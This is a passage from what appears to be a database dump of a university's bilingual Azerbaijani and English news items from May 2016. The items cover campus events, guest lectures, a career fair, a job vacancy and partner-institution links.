University</a></p><p><a href=\"http://www.khazar.org/v1024/\">Khazar University</a></p><p><a href=\"http://amu.edu.az/\">Azerbaijan Medical University</a></p><p><a href=\"http://www.edu.gov.az/\">Ministry of Education of Azerbaijan</a></p><p><a href=\"http://www.qu.edu.az/\">Qafqaz University&nbsp;</a>&nbsp;</p><p><a href=\"http://www.oyu.edu.az/\">Odlar Yurdu University</a></p><p><strong>Kyrgyz Republic</strong></p><p><a href=\"http://www.bafe.edu.kg/\">Bishkek Academy of Finance and Economics</a></p><p><a href=\"http://www.ednet.edu.kg/\">Education Network Association</a></p><p><a href=\"http://edu.gov.kg/\">Ministry of Education and Science of Kyrgyz Republic</a></p><p><a href=\"http://www.university.kg/\">Kyrgyz National University n.a. J. Balasagyn</a></p><p><a href=\"http://www.nsu.ktnet.kg/\">Naryn State University</a></p><p><strong>Kazakhstan</strong></p><p><a href=\"http://www.enu.kz/\">Eurasian National University n.a. L. Gumilyov</a></p><p><a href=\"http://www.iqaa.kz/\">Independent Kazakhstan Quality Assurance Agency in Education</a></p><p><a href=\"http://www.ablaikhan.kz/\">Kazakh Ablai Khan University for Int\'l Relations &amp; World Lang.</a></p><p><a href=\"http://www.kazntu.kz/en/node/829\">Kazakh National Technical University n.a. K.I. Satpaev</a></p><p><a href=\"http://www.edu.gov.kz/en\">Ministry of Education and Science of Republic of Kazakhstan</a></p><p><a href=\"http://www.naric.kz/\">National Centre for Assessing Quality of Education</a></p><p><a href=\"http://www.kazgasa.kz/\">Kazakh Leading Academy of Architecture and Civil Engineering</a></p><p><strong>Tajikistan</strong></p><p><a href=\"http://www.tut.tj/\">Ministry of Education of Republic of Tajikistan</a></p><p><a href=\"http://www.dsx.tj/general_info.htm\">Tajik Institute of Entrepreneurship and Services</a></p><p><a href=\"http://tnu.tj/index.php/en\">Tajik National University</a></p><p><a href=\"http://www.tut.tj/\">Technological University of Tajikistan</a></p><p><strong>Germany</strong></p><p><a href=\"http://www.wip.wiwi.uni-due.de/en/\">Universitat Duisburg - Essen</a></p><p><strong>Spain</strong></p><p><a href=\"http://www.ua.es/en\">Universidad de Alicante</a></p><p><strong>Slovakia</strong></p><p><a href=\"http://www.stuba.sk/english.html?page_id=132\">Slovak University of Technology in Bratislava</a></p><p><strong>Italy</strong></p><p><a href=\"http://www.cineca.it/en\">Consorzio Inter-Universitario Calcolo Automatico Italiano N.O.</a></p><a href=\"http://www.crui.it/english/\">Conference of Italian University Rectors</a>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Contact:</strong>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><p>Lyudmila Sotova, Head of Quality Assurance Center</p><p><a href=\"mailto:lsotova@khazar.org\">lsotova@khazar.org</a></p>+994 012 421 7916 (ext. 211)&nbsp;  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Useful links:</strong>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><p><a href=\"http://www.enqa.eu/\">European Association for Quality Assurance in Higher Education</a></p><a href=\"http://www.ecaconsortium.net/\">ECA - European Consortium for Accreditation</a>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Project website:</strong>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div><a href=\"http://tempus-doqup.unige.it/\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">DoQuP project website</a>  <br></div>'),(1742,1083,'az','Yazıçı tələbələrin qonağı oldu','2016-cı il mayın 6-da Xəzər Universitetində detektiv yazıçı Müşfiq Xan ilə görüş keçirildi. Tədbiri giriş sözü ilə universitetinİctimaiyyətlə əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli açaraq, qonağı, tələbələri və müəllimləri səmimi salamladı. ','<p>2016-cı il mayın 6-da Xəzər Universitetində detektiv yazıçı Müşfiq Xan ilə&nbsp;görüş keçirildi. Tədbiri giriş sözü ilə universitetinİctimaiyyətlə əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli&nbsp;açaraq, qonağı, tələbələri və müəllimləri səmimi salamladı. Görüşün Xəzər Universitetində keçirilməsini müsbət qiymətləndirdi və bu silsilədən olan tədbirlərin gələcəkdə də keçirilməsini arzu etdi.</p><p>Qonaq Müşfiq Xan öncə tədbir iştirakçılarını salamladı, yaradıcılığı haqqında ətraflı məlumat verdi. Günü-gündən gənclər arasında ədəbiyyata olan marağın artmasından sevinc hissi duyduğunu dilə gətirdi. Yazıcı daha sonra əsərlərini yazdığı detektiv janrı haqqında tədbir iştirakçılarını geniş şəkldə məlumatlandırdı.</p><p>Daha sonra o, tələbələrin və müəllimlərin çoxsayılı suallarını cavablandırdı. Suallar detektiv janrın tarixi, yaranması və bu janrın ölkəmizdə oxunaqlı olmağa başlanması haqqında idi. Universitetin ingilis dili müəlliməsi Firəngiz xanım Nəsirova qonağa ədəbiyyatımızda yazıçıların və əsərlərinin tanınması ilə bağlı problemlər haqqında sual verdi.</p><p>Tədbirin ikinci hissəsində isə yazıçının kitablarının imzalanması baş tutdu. Sonda yazıçı universitet rəhbərliyinə və təşkilatçılara tədbiri təşkil etdiyi, tələbələrin də iştirak etdiyi üçün minnətdarlığını bildirdi.</p>'),(1743,1083,'en','Writer Meets with Students','On May 6, 2016, detective novelist Mushfig Khan held a meeting with students at Khazar University. The event was opened by Alovsat Amirbeyli, Director for Public Relations and Media, who greeted the guest as well as student and faculty participants. ','<p>On May 6, 2016, detective novelist Mushfig Khan held a meeting with students at Khazar University. The event was opened by Alovsat Amirbeyli, Director for Public Relations and Media, who greeted the guest as well as student and faculty participants.&nbsp;He noted the benefits of hosting such events at Khazar and said he hoped that similar events will be held in the future.</p><p>Mushfig Khan greeted the audience and told them about the art of writing. He said he was happy that young people are becoming more and more interested in literature. Then he explained the detective genre in detail.</p><p>Then the author answered students’ and faculty members’ questions. They asked about the history of the detective genre, its establishment, and when this genre became popular in Azerbaijan. Firangiz Nasirova, Senior Instructor of the Department of English Language and Literature, asked about issues related to the recognition of authors and their works in our literature.</p><p>During the second part of the event, the author signed books. Then he thanked the university administration and students for organizing and participating in the event.</p><p>&nbsp;</p>'),(1744,1084,'az',' “Dünya” məktəbində sahibkarlıq təlimi olacaq','2016-cı il mayın 9-da “Dünya” məktəbində saat 14:00-da WOWOMAN Tech Tech Xanım layihəsinin çərçivəsində “Starting up from Zero: Technology Entrepreneurship” adlı sahibkarlıq təlimi keçiriləcək.','<p>2016-cı il mayın 9-da “Dünya” məktəbində saat 14:00-da&nbsp;<em>WOWOMAN Tech Tech Xanım&nbsp;</em>layihəsinin çərçivəsində&nbsp;<em>“Starting up from Zero: Technology Entrepreneurship”</em>&nbsp;adlı sahibkarlıq təlimi keçiriləcək.</p><p>Bütün maraqlananlar dəvət olunurlar.</p>'),(1745,1084,'en','Entrepreneurship Training at Dunya School','On May 9, 2016 at 14:00 at Dunya School, an event entitled \"Starting up from Zero: Technology Entrepreneurship\" will take place within the framework of the WOWOMAN Tech Tech Khanim project.','<p>On May 9, 2016 at 14:00 at Dunya School, an event entitled&nbsp;\"Starting up from Zero: Technology Entrepreneurship\" will take place within the framework of the WOWOMAN Tech Tech Khanim project. All are welcome to attend.</p>'),(1746,1085,'az',' Pakistan səfiri tələbələrlə görüşəcək','2016-cı il mayın 11-i saat 10:00-da Xəzər Universitetinin şəhər mərkəzindəki binasında (Bəşir Səfəroğlu küç. 122) (13-cu otaq) Pakistan Respublikasının Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Xalid Usman Gaizerin tələbələrlə “Azərbaycan-Pakistan dostluq münasibətləri” mövzusunda görüşü keçiriləcək.','<p>2016-cı il mayın 11-i saat 10:00-da Xəzər Universitetinin şəhər mərkəzindəki binasında (Bəşir Səfəroğlu küç. 122) (13-cu otaq) Pakistan Respublikasının Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Xalid Usman Gaizerin tələbələrlə “Azərbaycan-Pakistan dostluq münasibətləri” mövzusunda görüşü keçiriləcək.</p><p>Maraqlananlar iştirak edə bilərlər.</p>'),(1747,1085,'en','Ambassador of Pakistan to Meet with Students','On May 11, 2016 at 10:00 in room 13 of the Khazar University Downtown Campus (122 Bashir Safaroghlu St), a meeting will be held with His Excellency Khalid Usman Qaiser, Ambassador Extraordinary and Plenipotentiary of the Republic of Pakistan to Azerbaijan.','On May 11, 2016 at 10:00 in room 13 of the Khazar University Downtown Campus (122 Bashir Safaroghlu St), a meeting will be held with His Excellency Khalid Usman Qaiser, Ambassador Extraordinary and Plenipotentiary of the Republic of Pakistan to Azerbaijan.&nbsp;The theme of the meeting with be Friendly Relations Between Azerbaijan and Pakistan.&nbsp; Everyone wishing to attend is welcome.'),(1748,1086,'az',' Karyera sərgisi keçirildi','2016-cı il mayın 6-da Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı ilə Karyera sərgisi keçirildi. Sərgi saat 11:00-dan 14:00-a kimi davam etdi.','<p>2016-cı il mayın 6-da Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı ilə Karyera sərgisi keçirildi. Sərgi saat 11:00-dan 14:00-a kimi davam etdi. Sərgidə&nbsp;Azercell Telecom LLC, Ders Evi by Gilan Holding, Central Bank of Azerbaijan, AIESEC, Kaspi Education Company, Fireworks HRM Company, EF Education First, Ernst&amp;Young Holdings, Pasha Bank, Azercell Barama Project, YARAT Contemporary Art Space, American Councils, Azersun Holding, PwC Azerbaijan, Employ LLC, Konsis MMC, Dream Business Solutions, Halliburton Eurasia Limited, ASC “Xalq” Banki, Expressbank, A-Level Education Center şirkətləri iştirak etdilər. Həmçinin, sərgidə başqa universitetin tələbələri və məzunları da iştirak edirdilər. İştirakçılar şirkətlərin verdiyi anket formalarını doldurur və öz CV-lərini təqdim etdirdilər.</p><p>Bundan başqa, sərgidə tələbələri maraqlandıran suallar cavablandırılırdı.</p>'),(1749,1086,'en','Career Fair at Khazar','On May 6, 2016, the Khazar University Career Center organized a Career Fair at the university. The fair took place from 11:00 to 14:00. Companies that participated included: ','On May 6, 2016, the Khazar University Career Center organized a Career Fair at the university. The fair took place from 11:00 to 14:00. Companies that participated included:&nbsp;&nbsp;Azercell Telecom LLC, Ders Evi by Gilan Holding, Central Bank of Azerbaijan, AIESEC, Kaspi Education Company, Fireworks HRM Company, EF Education First, Ernst&amp;Young Holdings, Pasha Bank, Azercell Barama Project, YARAT Contemporary Art Space, American Councils, Azersun Holding, PwC Azerbaijan, Employ LLC, Konsis LLC, Dream Business Solutions, Halliburton Eurasia Limited, ASC “Xalq” Bank, Expressbank, and A-Level Education Center. Graduates and students from other universities also participated in the event, where they had the opportunity to fill out applications and give out their CVs.'),(1750,1087,'en','Meeting with Thompson Reuters Representatives','On May 4, 2016, with the organization of the Division of Graduate Studies and Research at Khazar University, Valentin Bogorov, the Customer Education Team Leader of Thompson Reuters Moscow branch, and Aygun Babazade, Thompson Reuters representative, held a meeting with Khazar University research staff.','<p>On May 4, 2016, with the organization of the Division of Graduate Studies and Research at Khazar University, Valentin Bogorov, the Customer Education Team Leader of Thompson Reuters Moscow branch, and Aygun Babazade, Thompson Reuters representative, held a meeting with Khazar University research staff. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees;&nbsp;Dr. Hasan Niknafs, President of the University; Dr. Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research; Raziya Isayeva, Development Director; Lyudmila Sotova, Director of the Quality Assurance Center; deans of schools and department chairs participated in the meeting.</p><p>Valentin Bogorov made a presentation about Thompson Reuters&nbsp;and&nbsp;discussed Khazar University’s access to the Thompson Reuters database.</p><p>Future collaboration between Khazar University and Thompson Reuters was discussed in the meeting and Valentin Bogorov answered participants’ questions.</p>'),(1751,1087,'az','“Thomson Reuters”-in əməkdaşları ilə görüş keçirildi',' 2016-cı il mayın 4-də Xəzər Universiteti Magistratura, doktorantura və elmi işlər bölməsinin təşkilatçılığı ilə “Thomson Reuters” təşkilatının Moskva filialının Təlim Proqramları üzrə bölməsinin rəhbəri Valentin Bogorov və “Thomson Reuters”-in Azərbaycandan olan əməkdaşı Aygün Babazadənin universitetin əməkdaşları ilə görüş keçirildi.','<p>&nbsp; &nbsp;2016-cı il mayın 4-də Xəzər Universiteti Magistratura, doktorantura və elmi işlər bölməsinin təşkilatçılığı ilə “Thomson Reuters” təşkilatının Moskva filialının Təlim Proqramları üzrə bölməsinin rəhbəri Valentin Bogorov və “Thomson Reuters”-in Azərbaycandan olan əməkdaşı Aygün Babazadənin universitetin əməkdaşları ilə görüş keçirildi. Görüşdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, universitetin rektoru Dr. Hassan Niknafs, Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev, İnkişaf Mərkəzinin direktoru Raziyə İsayeva, Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova, fakültə dekanları və departament müdirləri iştirak edirdilər.</p><p>Valentin Bogorov “Thomson Reuters” təşkilatı haqqında təqdimat etdi və Xəzər Universitetinin bu təşkilatın məlumat bazasına qoşulma məsələləri müzakirə edildi.</p><p>Görüşdə, həmçinin, gələcək əməkdaşlıq məsələləri müzakirə olundu və Valentin Bogorov iştirakçıların suallarını cavablandırdı.</p>'),(1752,1088,'az','Amerikalı alim tələbə və tədqiqatçılara mühazirə oxuyacaq','2016-cı il mayın 10-dan 13-dək Bioloji elmlər departamentinin dəvətilə Amerikanın Texas Tyler Universitetinin Biologiya departamentinin professoru Ali Azğani Xəzər Universitetində olacaq. Professor A.Azğaninin dəvət olunmasında məqsəd gələcəkdə birgə tədris və tədqiqat işlərinin aparılmasıdır.','<p>2016-cı il mayın 10-dan 13-dək Bioloji elmlər departamentinin dəvətilə Amerikanın Texas Tyler Universitetinin Biologiya departamentinin professoru Ali Azğani Xəzər Universitetində olacaq. Professor A.Azğaninin dəvət olunmasında məqsəd gələcəkdə birgə tədris və tədqiqat işlərinin aparılmasıdır.</p><p>Professor Ali Azğani mayın 12-si saat 16:00-da tələbə və tədqiqatçılara “Pseudomonos infeksiyasının patogenezi və müalicəsisi – keçmişi, bu günü və gələcəyi” mövzusunda mühazirə oxuyacaq.</p><p>Maraqlananlar iştirak edə bilərlər.</p>'),(1753,1088,'en','American Scholar to give Lecture to Students and Researchers','On May 10-13, 2016, Professor Ali Azghani of the University of Texas at Tyler will visit Khazar University as a guest of the Department of Biology. He was invited for the purpose of discussing future training and research partnerships.','<p>On May 10-13, 2016, Professor Ali Azghani of the University of Texas at Tyler will visit Khazar University as a guest of the Department of Biology. He was invited for the purpose of discussing future training and research partnerships.</p><p>On May 12 at 16:00, Professor Ali Azghani will give a lecture on “Pathogenesis and treatment of Pseudomonas infection:&nbsp; history, today and the future” for students and researchers.</p><p>Everyone is welcome to attend.</p><p>&nbsp;</p>'),(1754,1089,'en','American Scholar to give Lecture to Students and Researchers','On May 10-13, 2016, Professor Ali Azghani of the University of Texas at Tyler will visit Khazar University as a guest of the Department of Biology. He was invited for the purpose of discussing future training and research partnerships.','<p>On May 10-13, 2016, Professor Ali Azghani of the University of Texas at Tyler will visit Khazar University as a guest of the Department of Biology. He was invited for the purpose of discussing future training and research partnerships.</p><p>On May 12 at 16:00, Professor Ali Azghani will give a lecture on “Pathogenesis and treatment of Pseudomonas infection:&nbsp; history, today and the future” for students and researchers.</p><p>Everyone is welcome to attend.</p>'),(1755,1089,'az','Amerikalı alim tələbə və tədqiqatçılara mühazirə oxuyacaq','2016-cı il mayın 10-dan 13-dək Bioloji elmlər departamentinin dəvətilə Amerikanın Texas Tyler Universitetinin Biologiya departamentinin professoru Ali Azğani Xəzər Universitetində olacaq. Professor A.Azğaninin dəvət olunmasında məqsəd gələcəkdə birgə tədris və tədqiqat işlərinin aparılmasıdır.','<p>2016-cı il mayın 10-dan 13-dək Bioloji elmlər departamentinin dəvətilə Amerikanın Texas Tyler Universitetinin Biologiya departamentinin professoru Ali Azğani Xəzər Universitetində olacaq. Professor A.Azğaninin dəvət olunmasında məqsəd gələcəkdə birgə tədris və tədqiqat işlərinin aparılmasıdır.</p><p>Professor Ali Azğani mayın 12-si saat 16:00-da tələbə və tədqiqatçılara “Pseudomonos infeksiyasının patogenezi və müalicəsisi – keçmişi, bu günü və gələcəyi” mövzusunda mühazirə oxuyacaq.</p><p>Maraqlananlar iştirak edə bilərlər.</p>'),(1756,1090,'en','Training Course Continues','The “Management Training Course for Potential School Directors” held at Khazar University is in its fourth iteration, which began on April 2nd on the Neftchilar Campus.','<div style=\"color:#212121;font-family:wf_segoe-ui_normal, \'Segoe UI\', \'Segoe WP\', Tahoma, Arial, sans-serif;font-size:15px;text-indent:18pt;margin:0px;background-color:#ffffff\"><span style=\"font-size:small\" class=\"undefined\"><span style=\"font-size:medium\" class=\"undefined\">The “Management Training Course for Potential School Directors” held at Khazar University is in its fourth iteration, which began on April 2</span><span style=\"font-size:medium\"><sup>nd</sup></span><span style=\"font-size:medium\" class=\"undefined\">&nbsp;on the Neftchilar Campus.</span></span></div><div>The main objective of the course is to increase the knowledge and skills of school directors and educational workers interested in working as school directors in the future in accordance with the new education strategy and the educational reforms of the country as well as to introduce the participants to best practices from global experience in education. The course will run for 12 weeks with 3 days of classes totaling 12 hours a week in 8 modules (curriculum application and management, educational administration, statistics and analysis, finance and accounting, legislation and education law, educational psychology, psychometrics, and ICT).</div><div>We present photographs of the current course taken by the university’s Multimedia Center.</div>  <p><br></p><p></p>'),(1757,1090,'az',' Təlim kursu uğurla davam edir','Xəbər verdiyimiz kimi, Xəzər Universitetinin həyata keçirdiyi “Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları” layihəsi üzrə sayca dördüncü olub,  aprelin 2-də universitetin “Neftçilər” kampusunda başlanmış kursun təlimləri uğurla davam edir.','<div style=\"color:#212121;font-family:wf_segoe-ui_normal, \'Segoe UI\', \'Segoe WP\', Tahoma, Arial, sans-serif;font-size:15px;text-indent:18pt;margin:0px;background-color:#ffffff\"><span style=\"font-size:small\" class=\"undefined\">Xəbər verdiyimiz kimi, Xəzər Universitetinin həyata keçirdiyi “Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları” layihəsi üzrə sayca dördüncü olub,&nbsp; aprelin 2-də universitetin “Neftçilər” kampusunda başlanmış kursun təlimləri uğurla davam edir.</span></div><br><div>Təlimin&nbsp;əsas&nbsp;məqsədi&nbsp;ölkədəki&nbsp;yeni&nbsp;təhsil&nbsp;strategiyasına&nbsp;və&nbsp;təhsil&nbsp;islahatına&nbsp;uyğun&nbsp;olaraq&nbsp;məktəb&nbsp;direktorlarının&nbsp;və&nbsp;gələcəkdə&nbsp;busahədə&nbsp;fəaliyyət&nbsp;göstərmək&nbsp;istəyən&nbsp;təhsil&nbsp;işçilərinin&nbsp;bilik&nbsp;və&nbsp;bacarıqlarını&nbsp;artırmaq,&nbsp;onları&nbsp;dünyadakı&nbsp;səmərəli&nbsp;idarəetmə&nbsp;təcrübəsi&nbsp;ilə&nbsp;tanışetməkdir.&nbsp;Bu&nbsp;məqsədlə&nbsp;təlimlər&nbsp;8 (Kurikulumun&nbsp;tətbiqi&nbsp;və&nbsp;idarəedilməsi,&nbsp;Təhsilin&nbsp;idarə&nbsp;olunması,&nbsp;Statistika&nbsp;və&nbsp;məlumatların&nbsp;təhlili,Maliyyə&nbsp;və&nbsp;mühasibat&nbsp;uçotu,&nbsp;Qanunvericilik&nbsp;və&nbsp;təhsil&nbsp;hüququ,&nbsp;Təhsil&nbsp;psixologiyası,&nbsp;Psixometrika, İKT)&nbsp;fənn&nbsp;üzrə&nbsp;həftədə 3&nbsp;gün&nbsp;12&nbsp;saatolmaqla, 12&nbsp;həftə&nbsp;davam&nbsp;edəcək.</div><div>Universitetin&nbsp;Multimedia&nbsp;mərkəzi&nbsp;tərəfindən&nbsp;&nbsp;kursun&nbsp;məşğələlərindən&nbsp;yeni&nbsp;çəkilmiş&nbsp;fotoşəkilləri&nbsp;təqdim&nbsp;edirik.</div>  <p></p>'),(1758,1091,'en','Cultural Leadership Workshop at Khazar','On May 10, 2016, a Cultural Leadership Workshop took place at Khazar University for students of the School of Economics and Management. The workshop was facilitated by an international speaker, Mr. Attorney Attard.','On May 10, 2016, a Cultural Leadership Workshop<strong>&nbsp;</strong>took place at Khazar University for students of the School of Economics and Management. The workshop was facilitated by an international speaker, Mr. Attorney Attard. Toni Attard is Director of Strategy at Arts Council Malta, where he is leading a team responsible for the creation and development of the Council’s strategy for the cultural and creative sectors including the national funding portfolio for the sectors. He previously served as Creative Economy Advisor within the Ministry for Finance. He is one of the authors of Malta\'s cultural policy and co-author of Malta\'s Creative Economy strategy. He is also a creative practitioner with active involvement as an actor, theatre director and festival director.'),(1759,1092,'en','Vacancy: English Instructor','The English Language and Literature Department at Khazar University is seeking qualified applicants...','<div><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></span></div><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The&nbsp;English Language and Literature Department at Khazar University is seeking qualified applicants to fill the position of part-time English instructors&nbsp;in the&nbsp;fall semester 2016. The applicants should have&nbsp;a&nbsp;Master’s degree in Linguistics or English Language Teaching. Those who have at least 3 years of&nbsp;experience in English language teaching at universities will be&nbsp;given preference.</span>  <div><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Those who are interested should send their CV to Eynur Mehdiyev, Major Programs Coordinator of English Language and Literature Department at&nbsp;</span><a href=\"mailto:emehdiyev@khazar.org\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">emehdiyev@khazar.org</a>  <br></div>'),(1760,1093,'az','Azercell “Yay Təcrübə Proqramı” keçirəcək','2016-cı il mayın 6-da Xəzər Universitetində keçirilən “Karyera günləri” çərçivəsində iştirakçı şirkətlərdən biri olan “Azercell Telekom” MMC-nin mütəxəssisləri tələbələr üçün “Yay Təcrübə Proqramı” keçirmək qərarına gəlmişlər.','<p>2016-cı il mayın 6-da Xəzər Universitetində keçirilən “Karyera günləri” çərçivəsində iştirakçı şirkətlərdən biri olan “Azercell Telekom” MMC-nin mütəxəssisləri tələbələr üçün “Yay Təcrübə Proqramı” keçirmək qərarına gəlmişlər.</p>\r\n<p>Bu haqda bir çox xəbər saytları məlumat yayınlamışlar:</p><p><a href=\"http://www.qafqazinfo.az/iqtisadiyyat-4/telebeler-yayda-dincele-bilmeyecekler-147255\" target=\"_blank\">http://www.qafqazinfo.az/iqtisadiyyat-4/telebeler-yayda-dincele-bilmeyecekler-147255</a>;  <br><span style=\"color:#212121;text-align:justify;text-indent:0.25in;font-size:12pt;line-height:16.96px;font-family:\'Times New Roman\', serif\"></span></p><p><a href=\"http://www.marja.az/mikro/ksm/aksiya/item/197354-t%C9%99l%C9%99b%C9%99l%C9%99r-yayda-dinc%C9%99l%C9%99-bilm%C9%99y%C9%99c%C9%99kl%C9%99r.html\" target=\"_blank\">http://www.marja.az/mikro/ksm/aksiya/item/197354-tələbələr-yayda-dincələ-bilməyəcəklər.html</a>;</p><p><a href=\"http://www.dia.az/8/107824-telebeler-yayda-dincele-bilmeyecekler.html\" target=\"_blank\">http://www.dia.az/8/107824-telebeler-yayda-dincele-bilmeyecekler.html</a>;</p><p><a href=\"http://ann.az/en/students-not-allowed-relaxing-in-summer/\" target=\"_blank\">http://ann.az/en/students-not-allowed-relaxing-in-summer/</a>;</p><p><a href=\"http://en.trend.az/business/economy/2531601.html\" target=\"_blank\">http://en.trend.az/business/economy/2531601.html</a>;</p><p><a href=\"http://tia.az/shownews/?id=50519\" target=\"_blank\">http://tia.az/shownews/?id=50519</a>;</p><p><a href=\"http://veteninfo.az/az/telebeler-yayda-dincele-bilmeyecekler/\" target=\"_blank\">http://veteninfo.az/az/telebeler-yayda-dincele-bilmeyecekler/</a>;</p><p><a href=\"http://www.movqe.az/80666.html\" target=\"_blank\">http://www.movqe.az/80666.html</a>;</p><p><a href=\"http://www.azadliq.az/xeber/76111/r-telebeler-yayda-dincele-bilmeyecekler/\" target=\"_blank\">http://www.azadliq.az/xeber/76111/r-telebeler-yayda-dincele-bilmeyecekler/</a>;</p><p><a href=\"http://www.interpress.az/37026-tlblr-yayda-dincl-bilmycklr-foto.html\" target=\"_blank\">http://www.interpress.az/37026-tlblr-yayda-dincl-bilmycklr-foto.html</a>;</p><p><a href=\"http://publika.az/p/135657\" target=\"_blank\">http://publika.az/p/135657</a>;</p><p><a href=\"http://news.lent.az/news/242092\" target=\"_blank\">http://news.lent.az/news/242092</a>;</p><p><a href=\"http://modern.az/articles/103187/1/\" target=\"_blank\">http://modern.az/articles/103187/1/</a>;</p><p><a href=\"http://salamnews.org/az/news/read/218895\" target=\"_blank\">http://salamnews.org/az/news/read/218895</a>.</p><p>&nbsp;</p>  <p><br></p>'),(1761,1093,'en','Azercell Summer Internship Program','Azercell, one of the participants in the Career Fair organized by Khazar University Career Center on May 6, made a decision to offer a Summer Internship Program for students.','<p>Azercell, one of the participants in the Career Fair organized by Khazar University Career Center on May 6, made a decision to offer a Summer Internship Program for students. News about this program has been published on many news websites:</p><p><a href=\"http://www.qafqazinfo.az/iqtisadiyyat-4/telebeler-yayda-dincele-bilmeyecekler-147255\" target=\"_blank\">http://www.qafqazinfo.az/iqtisadiyyat-4/telebeler-yayda-dincele-bilmeyecekler-147255</a>;</p><p><a href=\"http://www.marja.az/mikro/ksm/aksiya/item/197354-t%C9%99l%C9%99b%C9%99l%C9%99r-yayda-dinc%C9%99l%C9%99-bilm%C9%99y%C9%99c%C9%99kl%C9%99r.html\" target=\"_blank\">http://www.marja.az/mikro/ksm/aksiya/item/197354-tələbələr-yayda-dincələ-bilməyəcəklər.html</a>;</p><p><a href=\"http://www.dia.az/8/107824-telebeler-yayda-dincele-bilmeyecekler.html\" target=\"_blank\">http://www.dia.az/8/107824-telebeler-yayda-dincele-bilmeyecekler.html</a>;</p><p><a href=\"http://ann.az/en/students-not-allowed-relaxing-in-summer/\" target=\"_blank\">http://ann.az/en/students-not-allowed-relaxing-in-summer/</a>;</p><p><a href=\"http://en.trend.az/business/economy/2531601.html\" target=\"_blank\">http://en.trend.az/business/economy/2531601.html</a>;</p><p><a href=\"http://tia.az/shownews/?id=50519\" target=\"_blank\">http://tia.az/shownews/?id=50519</a>;</p><p><a href=\"http://veteninfo.az/az/telebeler-yayda-dincele-bilmeyecekler/\" target=\"_blank\">http://veteninfo.az/az/telebeler-yayda-dincele-bilmeyecekler/</a>;</p><p><a href=\"http://www.movqe.az/80666.html\" target=\"_blank\">http://www.movqe.az/80666.html</a>;</p><p><a href=\"http://www.azadliq.az/xeber/76111/r-telebeler-yayda-dincele-bilmeyecekler/\" target=\"_blank\">http://www.azadliq.az/xeber/76111/r-telebeler-yayda-dincele-bilmeyecekler/</a>;</p><p><a href=\"http://www.interpress.az/37026-tlblr-yayda-dincl-bilmycklr-foto.html\" target=\"_blank\">http://www.interpress.az/37026-tlblr-yayda-dincl-bilmycklr-foto.html</a>;</p><p><a href=\"http://publika.az/p/135657\" target=\"_blank\">http://publika.az/p/135657</a>;</p><p><a href=\"http://news.lent.az/news/242092\" target=\"_blank\">http://news.lent.az/news/242092</a>;</p><p><a href=\"http://modern.az/articles/103187/1/\" target=\"_blank\">http://modern.az/articles/103187/1/</a>;</p><p><a href=\"http://salamnews.org/az/news/read/218895\" target=\"_blank\">http://salamnews.org/az/news/read/218895</a>.</p><p><br></p>'),(1762,1094,'en','Founder Shares Opinion about Television','Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, gave an interview for the website moderator.az on May 10 in which he shared his opinions on the shortcomings in Azerbaijani television.','<p class=\"x_MsoNormal\" style=\"margin:0in 0in 0.0001pt;text-align:justify;line-height:16.8667px;font-size:11pt;font-family:Calibri, sans-serif;color:#212121;text-indent:0.25in;background-color:#ffffff\"><span style=\"font-size:12pt;line-height:18.4px;font-family:\'Times New Roman\', serif\">Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, gave an interview for the website moderator.az on May 10 in which he shared his opinions on the shortcomings in Azerbaijani television. The site bizimxeber.az also ran the story, citing the moderator.az site. However, Prof. Isaxanli was partially misquoted on both sites:</span></p>\r\n<p><a href=\"http://www.moderator.az/news/136067.html\" target=\"_blank\">http://www.moderator.az/news/136067.html</a></p><p><a href=\"http://bizimxeber.az/2016/05/11/hamlet-isaxanli-telekanal-r%C9%99hb%C9%99rl%C9%99rini-haqli-rusvay-etdi/\" target=\"_blank\">http://bizimxeber.az/2016/05/11/hamlet-isaxanli-telekanal-rəhbərlərini-haqli-rusvay-etdi/&nbsp;&nbsp;</a>&nbsp;&nbsp;</p>  <br>'),(1763,1094,'az','Hamlet İsaxanlı televiziyalara münasibət bildirdi','Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı mayın 10 - da  moderator.azsaytına verdiyi müsahibədə 